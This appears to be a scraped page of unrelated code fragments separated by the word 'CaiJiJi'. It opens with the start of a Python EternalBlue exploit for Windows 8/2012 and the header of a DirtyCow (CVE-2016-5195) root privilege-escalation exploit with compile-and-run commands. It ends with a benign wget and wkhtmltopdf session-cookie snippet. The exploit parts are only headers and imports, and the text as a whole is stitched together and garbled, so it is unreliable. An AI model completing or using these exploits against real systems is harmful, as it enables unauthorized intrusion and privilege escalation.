CaiJiJi

#!/usr/bin/python
from impacket import smb
from struct import pack
import os
import sys
import socket

'''
EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)

CaiJiJi

/*
* A PTRACE_POKEDATA variant of CVE-2016-5195
* should work on RHEL 5 & 6
* 
* (un)comment correct payload (x86 or x64)!
* $ gcc -pthread c0w.c  -o c0w
* $ ./c0w
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* mmap fa65a000

CaiJiJi

wget --save-cookies cookies.txt --keep-session-cookies  http://my-site.dev/app_dev.php/my/page

# It's possible to add option "--post-data 'user=foo&password=bar' " if you need to
# log in for exemple
# Then retrieve the session ID in cookie.txt

vendor/h4cc/wkhtmltopdf-amd64/bin/wkhtmltopdf-amd64                                \
    --cookie 'sessionid' 'gfou6ks1lsguuvtk9il2v169n7'                              \
    --cookie 'PHPSESSID' 'gfou6ks1lsguuvtk9il2v169n7'                              \
    --debug-javascript                                                             \

CaiJiJi